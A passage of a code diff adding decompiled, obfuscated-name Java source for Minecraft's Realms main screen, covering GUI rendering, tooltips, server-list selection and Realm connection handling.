RealmsNarratorHelper.func_239550_a_(field_243009_N.getString()); + } + + if (this.field_224034_w) + { + this.field_223994_B = true; + } + + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 0.7F); + RenderSystem.enableBlend(); + this.minecraft.getTextureManager().bindTexture(field_237534_A_); + int l = 0; + int k = 32; + AbstractGui.blit(p_237605_1_, 0, 32, 0.0F, 0.0F, this.width, this.height - 40 - 32, 310, 166); + RenderSystem.disableBlend(); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + this.minecraft.getTextureManager().bindTexture(field_237552_z_); + AbstractGui.blit(p_237605_1_, i, j, 0.0F, 0.0F, 310, 166, 310, 166); + + if (!field_227918_e_.isEmpty()) + { + this.minecraft.getTextureManager().bindTexture(field_227918_e_.get(this.field_223997_E)); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237605_1_, i + 7, j + 7, 0.0F, 0.0F, 195, 152, 195, 152); + + if (this.field_223998_F % 95 < 5) + { + if (!this.field_223999_G) + { + this.field_223997_E = (this.field_223997_E + 1) % field_227918_e_.size(); + this.field_223999_G = true; + } + } + else + { + this.field_223999_G = false; + } + } + + this.field_243019_aI.func_241866_c(p_237605_1_, this.width / 2 + 52, j + 7, 10, 5000268); + } + + private int func_223989_B() + { + return (this.width - 310) / 2; + } + + private int func_223932_C() + { + return this.height / 2 - 80; + } + + private void func_237581_a_(MatrixStack p_237581_1_, int p_237581_2_, int p_237581_3_, int p_237581_4_, int p_237581_5_, boolean p_237581_6_, boolean p_237581_7_) + { + int i = this.field_224029_r; + boolean flag = this.func_223931_b((double)p_237581_2_, (double)p_237581_3_); + boolean flag1 = p_237581_7_ && p_237581_6_; + + if (flag1) + { + float f = 0.25F + (1.0F + MathHelper.sin((float)this.field_224030_s * 0.5F)) * 0.25F; + int j = -16777216 | (int)(f * 64.0F) << 16 | (int)(f * 64.0F) << 8 | (int)(f * 64.0F) << 0; + this.fillGradient(p_237581_1_, p_237581_4_ - 2, p_237581_5_ - 2, p_237581_4_ + 18, p_237581_5_ + 18, j, j); + j = -16777216 | (int)(f * 255.0F) << 16 | (int)(f * 255.0F) << 8 | (int)(f * 255.0F) << 0; + this.fillGradient(p_237581_1_, p_237581_4_ - 2, p_237581_5_ - 2, p_237581_4_ + 18, p_237581_5_ - 1, j, j); + this.fillGradient(p_237581_1_, p_237581_4_ - 2, p_237581_5_ - 2, p_237581_4_ - 1, p_237581_5_ + 18, j, j); + this.fillGradient(p_237581_1_, p_237581_4_ + 17, p_237581_5_ - 2, p_237581_4_ + 18, p_237581_5_ + 18, j, j); + this.fillGradient(p_237581_1_, p_237581_4_ - 2, p_237581_5_ + 17, p_237581_4_ + 18, p_237581_5_ + 18, j, j); + } + + this.minecraft.getTextureManager().bindTexture(field_237546_t_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + boolean flag3 = p_237581_7_ && p_237581_6_; + float f2 = flag3 ? 16.0F : 0.0F; + AbstractGui.blit(p_237581_1_, p_237581_4_, p_237581_5_ - 6, f2, 0.0F, 15, 25, 31, 25); + boolean flag2 = p_237581_7_ && i != 0; + + if (flag2) + { + int k = (Math.min(i, 6) - 1) * 8; + int l = (int)(Math.max(0.0F, Math.max(MathHelper.sin((float)(10 + this.field_224030_s) * 0.57F), MathHelper.cos((float)this.field_224030_s * 0.35F))) * -6.0F); + this.minecraft.getTextureManager().bindTexture(field_237545_s_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f1 = flag ? 8.0F : 0.0F; + AbstractGui.blit(p_237581_1_, p_237581_4_ + 4, p_237581_5_ + 4 + l, (float)k, f1, 8, 8, 48, 16); + } + + int j1 = p_237581_2_ + 12; + boolean flag4 = p_237581_7_ && flag; + + if (flag4) + { + ITextComponent itextcomponent = i == 0 ? field_243000_E : field_243001_F; + int i1 = this.font.getStringPropertyWidth(itextcomponent); + this.fillGradient(p_237581_1_, j1 - 3, p_237581_3_ - 3, j1 + i1 + 3, p_237581_3_ + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237581_1_, itextcomponent, (float)j1, (float)p_237581_3_, -1); + } + } + + private boolean func_223931_b(double p_223931_1_, double p_223931_3_) + { + int i = this.width / 2 + 50; + int j = this.width / 2 + 66; + int k = 11; + int l = 23; + + if (this.field_224029_r != 0) + { + i -= 3; + j += 3; + k -= 5; + l += 5; + } + + return (double)i <= p_223931_1_ && p_223931_1_ <= (double)j && (double)k <= p_223931_3_ && p_223931_3_ <= (double)l; + } + + public void func_223911_a(RealmsServer p_223911_1_, Screen p_223911_2_) + { + if (p_223911_1_ != null) + { + try + { + if (!this.field_224004_L.tryLock(1L, TimeUnit.SECONDS)) + { + return; + } + + if (this.field_224004_L.getHoldCount() > 1) + { + return; + } + } + catch (InterruptedException interruptedexception) + { + return; + } + + this.field_224015_d = true; + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(p_223911_2_, new ConnectingToRealmsAction(this, p_223911_2_, p_223911_1_, this.field_224004_L))); + } + } + + private boolean func_223885_h(RealmsServer p_223885_1_) + { + return p_223885_1_.field_230588_g_ != null && p_223885_1_.field_230588_g_.equals(this.minecraft.getSession().getPlayerID()); + } + + private boolean func_223991_i(RealmsServer p_223991_1_) + { + return this.func_223885_h(p_223991_1_) && !p_223991_1_.field_230591_j_; + } + + private void func_237614_c_(MatrixStack p_237614_1_, int p_237614_2_, int p_237614_3_, int p_237614_4_, int p_237614_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237542_p_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237614_1_, p_237614_2_, p_237614_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237614_4_ >= p_237614_2_ && p_237614_4_ <= p_237614_2_ + 9 && p_237614_5_ >= p_237614_3_ && p_237614_5_ <= p_237614_3_ + 27 && p_237614_5_ < this.height - 40 && p_237614_5_ > 32 && !this.func_223990_b()) + { + this.func_237603_a_(field_243010_O); + } + } + + private void func_237606_b_(MatrixStack p_237606_1_, int p_237606_2_, int p_237606_3_, int p_237606_4_, int p_237606_5_, int p_237606_6_) + { + this.minecraft.getTextureManager().bindTexture(field_237543_q_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + + if (this.field_224030_s % 20 < 10) + { + AbstractGui.blit(p_237606_1_, p_237606_2_, p_237606_3_, 0.0F, 0.0F, 10, 28, 20, 28); + } + else + { + AbstractGui.blit(p_237606_1_, p_237606_2_, p_237606_3_, 10.0F, 0.0F, 10, 28, 20, 28); + } + + if (p_237606_4_ >= p_237606_2_ && p_237606_4_ <= p_237606_2_ + 9 && p_237606_5_ >= p_237606_3_ && p_237606_5_ <= p_237606_3_ + 27 && p_237606_5_ < this.height - 40 && p_237606_5_ > 32 && !this.func_223990_b()) + { + if (p_237606_6_ <= 0) + { + this.func_237603_a_(field_243011_P); + } + else if (p_237606_6_ == 1) + { + this.func_237603_a_(field_243012_Q); + } + else + { + this.func_237603_a_(new TranslationTextComponent("mco.selectServer.expires.days", p_237606_6_)); + } + } + } + + private void func_237620_d_(MatrixStack p_237620_1_, int p_237620_2_, int p_237620_3_, int p_237620_4_, int p_237620_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237540_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237620_1_, p_237620_2_, p_237620_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237620_4_ >= p_237620_2_ && p_237620_4_ <= p_237620_2_ + 9 && p_237620_5_ >= p_237620_3_ && p_237620_5_ <= p_237620_3_ + 27 && p_237620_5_ < this.height - 40 && p_237620_5_ > 32 && !this.func_223990_b()) + { + this.func_237603_a_(field_243013_R); + } + } + + private void func_237626_e_(MatrixStack p_237626_1_, int p_237626_2_, int p_237626_3_, int p_237626_4_, int p_237626_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237541_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237626_1_, p_237626_2_, p_237626_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237626_4_ >= p_237626_2_ && p_237626_4_ <= p_237626_2_ + 9 && p_237626_5_ >= p_237626_3_ && p_237626_5_ <= p_237626_3_ + 27 && p_237626_5_ < this.height - 40 && p_237626_5_ > 32 && !this.func_223990_b()) + { + this.func_237603_a_(field_243014_S); + } + } + + private void func_237630_f_(MatrixStack p_237630_1_, int p_237630_2_, int p_237630_3_, int p_237630_4_, int p_237630_5_) + { + boolean flag = false; + + if (p_237630_4_ >= p_237630_2_ && p_237630_4_ <= p_237630_2_ + 28 && p_237630_5_ >= p_237630_3_ && p_237630_5_ <= p_237630_3_ + 28 && p_237630_5_ < this.height - 40 && p_237630_5_ > 32 && !this.func_223990_b()) + { + flag = true; + } + + this.minecraft.getTextureManager().bindTexture(field_237544_r_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = flag ? 28.0F : 0.0F; + AbstractGui.blit(p_237630_1_, p_237630_2_, p_237630_3_, f, 0.0F, 28, 28, 56, 28); + + if (flag) + { + this.func_237603_a_(field_243015_T); + this.field_237539_ap_ = RealmsMainScreen.ServerState.LEAVE; + } + } + + private void func_237633_g_(MatrixStack p_237633_1_, int p_237633_2_, int p_237633_3_, int p_237633_4_, int p_237633_5_) + { + boolean flag = false; + + if (p_237633_4_ >= p_237633_2_ && p_237633_4_ <= p_237633_2_ + 28 && p_237633_5_ >= p_237633_3_ && p_237633_5_ <= p_237633_3_ + 28 && p_237633_5_ < this.height - 40 && p_237633_5_ > 32 && !this.func_223990_b()) + { + flag = true; + } + + this.minecraft.getTextureManager().bindTexture(field_237549_w_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = flag ? 28.0F : 0.0F; + AbstractGui.blit(p_237633_1_, p_237633_2_, p_237633_3_, f, 0.0F, 28, 28, 56, 28); + + if (flag) + { + this.func_237603_a_(field_243016_U); + this.field_237539_ap_ = RealmsMainScreen.ServerState.CONFIGURE; + } + } + + protected void func_237583_a_(MatrixStack p_237583_1_, List p_237583_2_, int p_237583_3_, int p_237583_4_) + { + if (!p_237583_2_.isEmpty()) + { + int i = 0; + int j = 0; + + for (ITextComponent itextcomponent : p_237583_2_) + { + int k = this.font.getStringPropertyWidth(itextcomponent); + + if (k > j) + { + j = k; + } + } + + int i1 = p_237583_3_ - j - 5; + int j1 = p_237583_4_; + + if (i1 < 0) + { + i1 = p_237583_3_ + 12; + } + + for (ITextComponent itextcomponent1 : p_237583_2_) + { + int l = j1 - (i == 0 ? 3 : 0) + i; + this.fillGradient(p_237583_1_, i1 - 3, l, i1 + j + 3, j1 + 8 + 3 + i, -1073741824, -1073741824); + this.font.func_243246_a(p_237583_1_, itextcomponent1, (float)i1, (float)(j1 + i), 16777215); + i += 10; + } + } + } + + private void func_237580_a_(MatrixStack p_237580_1_, int p_237580_2_, int p_237580_3_, int p_237580_4_, int p_237580_5_, boolean p_237580_6_) + { + boolean flag = false; + + if (p_237580_2_ >= p_237580_4_ && p_237580_2_ <= p_237580_4_ + 20 && p_237580_3_ >= p_237580_5_ && p_237580_3_ <= p_237580_5_ + 20) + { + flag = true; + } + + this.minecraft.getTextureManager().bindTexture(field_237550_x_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = p_237580_6_ ? 20.0F : 0.0F; + AbstractGui.blit(p_237580_1_, p_237580_4_, p_237580_5_, f, 0.0F, 20, 20, 40, 20); + + if (flag) + { + this.func_237603_a_(field_243017_V); + } + } + + private void func_237582_a_(MatrixStack p_237582_1_, int p_237582_2_, int p_237582_3_, boolean p_237582_4_, int p_237582_5_, int p_237582_6_, boolean p_237582_7_, boolean p_237582_8_) + { + boolean flag = false; + + if (p_237582_2_ >= p_237582_5_ && p_237582_2_ <= p_237582_5_ + 20 && p_237582_3_ >= p_237582_6_ && p_237582_3_ <= p_237582_6_ + 20) + { + flag = true; + } + + this.minecraft.getTextureManager().bindTexture(field_237551_y_); + + if (p_237582_8_) + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + } + else + { + RenderSystem.color4f(0.5F, 0.5F, 0.5F, 1.0F); + } + + boolean flag1 = p_237582_8_ && p_237582_7_; + float f = flag1 ? 20.0F : 0.0F; + AbstractGui.blit(p_237582_1_, p_237582_5_, p_237582_6_, f, 0.0F, 20, 20, 40, 20); + + if (flag && p_237582_8_) + { + this.func_237603_a_(field_243018_W); + } + + if (p_237582_4_ && p_237582_8_) + { + int i = flag ? 0 : (int)(Math.max(0.0F, Math.max(MathHelper.sin((float)(10 + this.field_224030_s) * 0.57F), MathHelper.cos((float)this.field_224030_s * 0.35F))) * -6.0F); + this.minecraft.getTextureManager().bindTexture(field_237545_s_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237582_1_, p_237582_5_ + 10, p_237582_6_ + 2 + i, 40.0F, 0.0F, 8, 8, 48, 16); + } + } + + private void func_237604_b_(MatrixStack p_237604_1_) + { + String s = "LOCAL!"; + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.translatef((float)(this.width / 2 - 25), 20.0F, 0.0F); + RenderSystem.rotatef(-20.0F, 0.0F, 0.0F, 1.0F); + RenderSystem.scalef(1.5F, 1.5F, 1.5F); + this.font.drawString(p_237604_1_, "LOCAL!", 0.0F, 0.0F, 8388479); + RenderSystem.popMatrix(); + } + + private void func_237613_c_(MatrixStack p_237613_1_) + { + String s = "STAGE!"; + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.translatef((float)(this.width / 2 - 25), 20.0F, 0.0F); + RenderSystem.rotatef(-20.0F, 0.0F, 0.0F, 1.0F); + RenderSystem.scalef(1.5F, 1.5F, 1.5F); + this.font.drawString(p_237613_1_, "STAGE!", 0.0F, 0.0F, -256); + RenderSystem.popMatrix(); + } + + public RealmsMainScreen func_223942_f() + { + RealmsMainScreen realmsmainscreen = new RealmsMainScreen(this.field_224019_h); + realmsmainscreen.init(this.minecraft, this.width, this.height); + return realmsmainscreen; + } + + public static void func_227932_a_(IResourceManager p_227932_0_) + { + Collection collection = p_227932_0_.getAllResourceLocations("textures/gui/images", (p_227934_0_) -> + { + return p_227934_0_.endsWith(".png"); + }); + field_227918_e_ = collection.stream().filter((p_227931_0_) -> + { + return p_227931_0_.getNamespace().equals("realms"); + }).collect(ImmutableList.toImmutableList()); + } + + private void func_237603_a_(ITextComponent... p_237603_1_) + { + this.field_224027_p = Arrays.asList(p_237603_1_); + } + + private void func_237598_a_(Button p_237598_1_) + { + this.minecraft.displayGuiScreen(new RealmsPendingInvitesScreen(this.field_224019_h)); + } + + class CloseButton extends Button + { + public CloseButton() + { + super(RealmsMainScreen.this.func_223989_B() + 4, RealmsMainScreen.this.func_223932_C() + 4, 12, 12, new TranslationTextComponent("mco.selectServer.close"), null); + } + @Override + public void onPress() + { + RealmsMainScreen.this.func_223955_A(); + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + RealmsMainScreen.this.minecraft.getTextureManager().bindTexture(RealmsMainScreen.field_237535_B_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = this.isHovered() ? 12.0F : 0.0F; + blit(matrixStack, this.x, this.y, 0.0F, f, 12, 12, 12, 24); + + if (this.isMouseOver((double)mouseX, (double)mouseY)) + { + RealmsMainScreen.this.func_237603_a_(this.getMessage()); + } + } + } + + class InfoButton extends Button + { + public InfoButton() + { + super(RealmsMainScreen.this.width - 37, 6, 20, 20, new TranslationTextComponent("mco.selectServer.info"), null); + } + @Override + public void onPress() + { + RealmsMainScreen.this.field_224035_x = !RealmsMainScreen.this.field_224035_x; + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + RealmsMainScreen.this.func_237580_a_(matrixStack, mouseX, mouseY, this.x, this.y, this.isHovered()); + } + } + + abstract class ListEntry extends ExtendedList.AbstractListEntry + { + private ListEntry() + { + } + } + + class NewsButton extends Button + { + public NewsButton() + { + super(RealmsMainScreen.this.width - 62, 6, 20, 20, StringTextComponent.EMPTY, null); + this.setMessage(new TranslationTextComponent("mco.news")); + } + @Override + public void onPress() + { + if (RealmsMainScreen.this.field_223996_D != null) + { + Util.getOSType().openURI(RealmsMainScreen.this.field_223996_D); + + if (RealmsMainScreen.this.field_223995_C) + { + RealmsPersistence.RealmsPersistenceData realmspersistence$realmspersistencedata = RealmsPersistence.func_225188_a(); + realmspersistence$realmspersistencedata.field_225186_b = false; + RealmsMainScreen.this.field_223995_C = false; + RealmsPersistence.func_225187_a(realmspersistence$realmspersistencedata); + } + } + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + RealmsMainScreen.this.func_237582_a_(matrixStack, mouseX, mouseY, RealmsMainScreen.this.field_223995_C, this.x, this.y, this.isHovered(), this.active); + } + } + + class PendingInvitesButton extends Button implements IScreen + { + public PendingInvitesButton() + { + super(RealmsMainScreen.this.width / 2 + 47, 6, 22, 22, StringTextComponent.EMPTY, null); + } + @Override + public void onPress() + { + RealmsMainScreen.this.func_237598_a_(this); + } + + public void tick() + { + this.setMessage(new TranslationTextComponent(RealmsMainScreen.this.field_224029_r == 0 ? "mco.invites.nopending" : "mco.invites.pending")); + } + + public void renderButton(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + RealmsMainScreen.this.func_237581_a_(matrixStack, mouseX, mouseY, this.x, this.y, this.isHovered(), this.active); + } + } + + class ServerEntry extends RealmsMainScreen.ListEntry + { + private final RealmsServer field_223734_a; + + public ServerEntry(RealmsServer resourceManagerIn) + { + this.field_223734_a = resourceManagerIn; + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237678_a_(this.field_223734_a, p_230432_1_, p_230432_4_, p_230432_3_, p_230432_7_, p_230432_8_); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (this.field_223734_a.field_230586_e_ == RealmsServer.Status.UNINITIALIZED) + { + RealmsMainScreen.this.field_224021_j = -1L; + RealmsMainScreen.this.minecraft.displayGuiScreen(new RealmsCreateRealmScreen(this.field_223734_a, RealmsMainScreen.this)); + } + else + { + RealmsMainScreen.this.field_224021_j = this.field_223734_a.field_230582_a_; + } + + return true; + } + + private void func_237678_a_(RealmsServer p_237678_1_, MatrixStack p_237678_2_, int p_237678_3_, int p_237678_4_, int p_237678_5_, int p_237678_6_) + { + this.func_237679_b_(p_237678_1_, p_237678_2_, p_237678_3_ + 36, p_237678_4_, p_237678_5_, p_237678_6_); + } + + private void func_237679_b_(RealmsServer p_237679_1_, MatrixStack p_237679_2_, int p_237679_3_, int p_237679_4_, int p_237679_5_, int p_237679_6_) + { + if (p_237679_1_.field_230586_e_ == RealmsServer.Status.UNINITIALIZED) + { + RealmsMainScreen.this.minecraft.getTextureManager().bindTexture(RealmsMainScreen.field_237547_u_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.enableAlphaTest(); + AbstractGui.blit(p_237679_2_, p_237679_3_ + 10, p_237679_4_ + 6, 0.0F, 0.0F, 40, 20, 40, 20); + float f = 0.5F + (1.0F + MathHelper.sin((float)RealmsMainScreen.this.field_224030_s * 0.25F)) * 0.25F; + int k2 = -16777216 | (int)(127.0F * f) << 16 | (int)(255.0F * f) << 8 | (int)(127.0F * f); + AbstractGui.drawCenteredString(p_237679_2_, RealmsMainScreen.this.font, RealmsMainScreen.field_243003_H, p_237679_3_ + 10 + 40 + 75, p_237679_4_ + 12, k2); + } + else + { + int i = 225; + int j = 2; + + if (p_237679_1_.field_230591_j_) + { + RealmsMainScreen.this.func_237614_c_(p_237679_2_, p_237679_3_ + 225 - 14, p_237679_4_ + 2, p_237679_5_, p_237679_6_); + } + else if (p_237679_1_.field_230586_e_ == RealmsServer.Status.CLOSED) + { + RealmsMainScreen.this.func_237626_e_(p_237679_2_, p_237679_3_ + 225 - 14, p_237679_4_ + 2, p_237679_5_, p_237679_6_); + } + else if (RealmsMainScreen.this.func_223885_h(p_237679_1_) && p_237679_1_.field_230593_l_ < 7) + { + RealmsMainScreen.this.func_237606_b_(p_237679_2_, p_237679_3_ + 225 - 14, p_237679_4_ + 2, p_237679_5_, p_237679_6_, p_237679_1_.field_230593_l_); + } + else if (p_237679_1_.field_230586_e_ == RealmsServer.Status.OPEN) + { + RealmsMainScreen.this.func_237620_d_(p_237679_2_, p_237679_3_ + 225 - 14, p_237679_4_ + 2, p_237679_5_, p_237679_6_); + } + + if (!RealmsMainScreen.this.func_223885_h(p_237679_1_) && !RealmsMainScreen.field_224013_b) + { + RealmsMainScreen.this.func_237630_f_(p_237679_2_, p_237679_3_ + 225, p_237679_4_ + 2, p_237679_5_, p_237679_6_); + } + else + { + RealmsMainScreen.this.func_237633_g_(p_237679_2_, p_237679_3_ + 225, p_237679_4_ + 2, p_237679_5_, p_237679_6_); + } + + if (!"0".equals(p_237679_1_.field_230599_r_.field_230607_a_)) + { + String s = TextFormatting.GRAY + "" + p_237679_1_.field_230599_r_.field_230607_a_; + RealmsMainScreen.this.font.drawString(p_237679_2_, s, (float)(p_237679_3_ + 207 - RealmsMainScreen.this.font.getStringWidth(s)), (float)(p_237679_4_ + 3), 8421504); + + if (p_237679_5_ >= p_237679_3_ + 207 - RealmsMainScreen.this.font.getStringWidth(s) && p_237679_5_ <= p_237679_3_ + 207 && p_237679_6_ >= p_237679_4_ + 1 && p_237679_6_ <= p_237679_4_ + 10 && p_237679_6_ < RealmsMainScreen.this.height - 40 && p_237679_6_ > 32 && !RealmsMainScreen.this.func_223990_b()) + { + RealmsMainScreen.this.func_237603_a_(new StringTextComponent(p_237679_1_.field_230599_r_.field_230608_b_)); + } + } + + if (RealmsMainScreen.this.func_223885_h(p_237679_1_) && p_237679_1_.field_230591_j_) + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.enableBlend(); + RealmsMainScreen.this.minecraft.getTextureManager().bindTexture(RealmsMainScreen.field_237537_D_); + RenderSystem.blendFunc(GlStateManager.SourceFactor.SRC_ALPHA, GlStateManager.DestFactor.ONE_MINUS_SRC_ALPHA); + ITextComponent itextcomponent; + ITextComponent itextcomponent1; + + if (p_237679_1_.field_230592_k_) + { + itextcomponent = RealmsMainScreen.field_243006_K; + itextcomponent1 = RealmsMainScreen.field_243007_L; + } + else + { + itextcomponent = RealmsMainScreen.field_243004_I; + itextcomponent1 = RealmsMainScreen.field_243005_J; + } + + int l = RealmsMainScreen.this.font.getStringPropertyWidth(itextcomponent1) + 17; + int i1 = 16; + int j1 = p_237679_3_ + RealmsMainScreen.this.font.getStringPropertyWidth(itextcomponent) + 8; + int k1 = p_237679_4_ + 13; + boolean flag = false; + + if (p_237679_5_ >= j1 && p_237679_5_ < j1 + l && p_237679_6_ > k1 && p_237679_6_ <= k1 + 16 & p_237679_6_ < RealmsMainScreen.this.height - 40 && p_237679_6_ > 32 && !RealmsMainScreen.this.func_223990_b()) + { + flag = true; + RealmsMainScreen.this.field_237539_ap_ = RealmsMainScreen.ServerState.EXPIRED; + } + + int l1 = flag ? 2 : 1; + AbstractGui.blit(p_237679_2_, j1, k1, 0.0F, (float)(46 + l1 * 20), l / 2, 8, 256, 256); + AbstractGui.blit(p_237679_2_, j1 + l / 2, k1, (float)(200 - l / 2), (float)(46 + l1 * 20), l / 2, 8, 256, 256); + AbstractGui.blit(p_237679_2_, j1, k1 + 8, 0.0F, (float)(46 + l1 * 20 + 12), l / 2, 8, 256, 256); + AbstractGui.blit(p_237679_2_, j1 + l / 2, k1 + 8, (float)(200 - l / 2), (float)(46 + l1 * 20 + 12), l / 2, 8, 256, 256); + RenderSystem.disableBlend(); + int i2 = p_237679_4_ + 11 + 5; + int j2 = flag ? 16777120 : 16777215; + RealmsMainScreen.this.font.func_243248_b(p_237679_2_, itextcomponent, (float)(p_237679_3_ + 2), (float)(i2 + 1), 15553363); + AbstractGui.drawCenteredString(p_237679_2_, RealmsMainScreen.this.font, itextcomponent1, j1 + l / 2, i2 + 1, j2); + } + else + { + if (p_237679_1_.field_230594_m_ == RealmsServer.ServerType.MINIGAME) + { + int l2 = 13413468; + int k = RealmsMainScreen.this.font.getStringPropertyWidth(RealmsMainScreen.field_243008_M); + RealmsMainScreen.this.font.func_243248_b(p_237679_2_, RealmsMainScreen.field_243008_M, (float)(p_237679_3_ + 2), (float)(p_237679_4_ + 12), 13413468); + RealmsMainScreen.this.font.drawString(p_237679_2_, p_237679_1_.func_230778_c_(), (float)(p_237679_3_ + 2 + k), (float)(p_237679_4_ + 12), 7105644); + } + else + { + RealmsMainScreen.this.font.drawString(p_237679_2_, p_237679_1_.func_230768_a_(), (float)(p_237679_3_ + 2), (float)(p_237679_4_ + 12), 7105644); + } + + if (!RealmsMainScreen.this.func_223885_h(p_237679_1_)) + { + RealmsMainScreen.this.font.drawString(p_237679_2_, p_237679_1_.field_230587_f_, (float)(p_237679_3_ + 2), (float)(p_237679_4_ + 12 + 11), 5000268); + } + } + + RealmsMainScreen.this.font.drawString(p_237679_2_, p_237679_1_.func_230775_b_(), (float)(p_237679_3_ + 2), (float)(p_237679_4_ + 1), 16777215); + RealmsTextureManager.func_225205_a(p_237679_1_.field_230588_g_, () -> + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237679_2_, p_237679_3_ - 36, p_237679_4_, 32, 32, 8.0F, 8.0F, 8, 8, 64, 64); + AbstractGui.blit(p_237679_2_, p_237679_3_ - 36, p_237679_4_, 32, 32, 40.0F, 8.0F, 8, 8, 64, 64); + }); + } + } + } + + class ServerList extends RealmsObjectSelectionList + { + private boolean field_241824_o_; + + public ServerList() + { + super(RealmsMainScreen.this.width, RealmsMainScreen.this.height, 32, RealmsMainScreen.this.height - 40, 36); + } + + public void func_231409_q_() + { + super.func_231409_q_(); + this.field_241824_o_ = false; + } + + public int func_241825_a_(RealmsMainScreen.ListEntry p_241825_1_) + { + this.field_241824_o_ = true; + return this.addEntry(p_241825_1_); + } + + public boolean isFocused() + { + return RealmsMainScreen.this.getListener() == this; + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode != 257 && keyCode != 32 && keyCode != 335) + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + else + { + ExtendedList.AbstractListEntry extendedlist$abstractlistentry = this.getSelected(); + return extendedlist$abstractlistentry == null ? super.keyPressed(keyCode, scanCode, modifiers) : extendedlist$abstractlistentry.mouseClicked(0.0D, 0.0D, 0); + } + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (button == 0 && mouseX < (double)this.getScrollbarPosition() && mouseY >= (double)this.y0 && mouseY <= (double)this.y1) + { + int i = RealmsMainScreen.this.field_224020_i.getRowLeft(); + int j = this.getScrollbarPosition(); + int k = (int)Math.floor(mouseY - (double)this.y0) - this.headerHeight + (int)this.getScrollAmount() - 4; + int l = k / this.itemHeight; + + if (mouseX >= (double)i && mouseX <= (double)j && l >= 0 && k >= 0 && l < this.getItemCount()) + { + this.func_231401_a_(k, l, mouseX, mouseY, this.width); + RealmsMainScreen.this.field_224003_K = RealmsMainScreen.this.field_224003_K + 7; + this.func_231400_a_(l); + } + + return true; + } + else + { + return super.mouseClicked(mouseX, mouseY, button); + } + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + RealmsServer realmsserver; + + if (this.field_241824_o_) + { + if (p_231400_1_ == 0) + { + realmsserver = null; + } + else + { + if (p_231400_1_ - 1 >= RealmsMainScreen.this.field_224028_q.size()) + { + RealmsMainScreen.this.field_224021_j = -1L; + return; + } + + realmsserver = RealmsMainScreen.this.field_224028_q.get(p_231400_1_ - 1); + } + } + else + { + if (p_231400_1_ >= RealmsMainScreen.this.field_224028_q.size()) + { + RealmsMainScreen.this.field_224021_j = -1L; + return; + } + + realmsserver = RealmsMainScreen.this.field_224028_q.get(p_231400_1_); + } + + RealmsMainScreen.this.func_223915_a(realmsserver); + + if (realmsserver == null) + { + RealmsMainScreen.this.field_224021_j = -1L; + } + else if (realmsserver.field_230586_e_ == RealmsServer.Status.UNINITIALIZED) + { + RealmsMainScreen.this.field_224021_j = -1L; + } + else + { + RealmsMainScreen.this.field_224021_j = realmsserver.field_230582_a_; + + if (RealmsMainScreen.this.field_224003_K >= 10 && RealmsMainScreen.this.field_224022_k.active) + { + RealmsMainScreen.this.func_223911_a(RealmsMainScreen.this.func_223967_a(RealmsMainScreen.this.field_224021_j), RealmsMainScreen.this); + } + } + } + } + + public void setSelected(@Nullable RealmsMainScreen.ListEntry entry) + { + super.setSelected(entry); + int i = this.getEventListeners().indexOf(entry); + + if (this.field_241824_o_ && i == 0) + { + RealmsNarratorHelper.func_239551_a_(I18n.format("mco.trial.message.line1"), I18n.format("mco.trial.message.line2")); + } + else if (!this.field_241824_o_ || i > 0) + { + RealmsServer realmsserver = RealmsMainScreen.this.field_224028_q.get(i - (this.field_241824_o_ ? 1 : 0)); + RealmsMainScreen.this.field_224021_j = realmsserver.field_230582_a_; + RealmsMainScreen.this.func_223915_a(realmsserver); + + if (realmsserver.field_230586_e_ == RealmsServer.Status.UNINITIALIZED) + { + RealmsNarratorHelper.func_239550_a_(I18n.format("mco.selectServer.uninitialized") + I18n.format("mco.gui.button")); 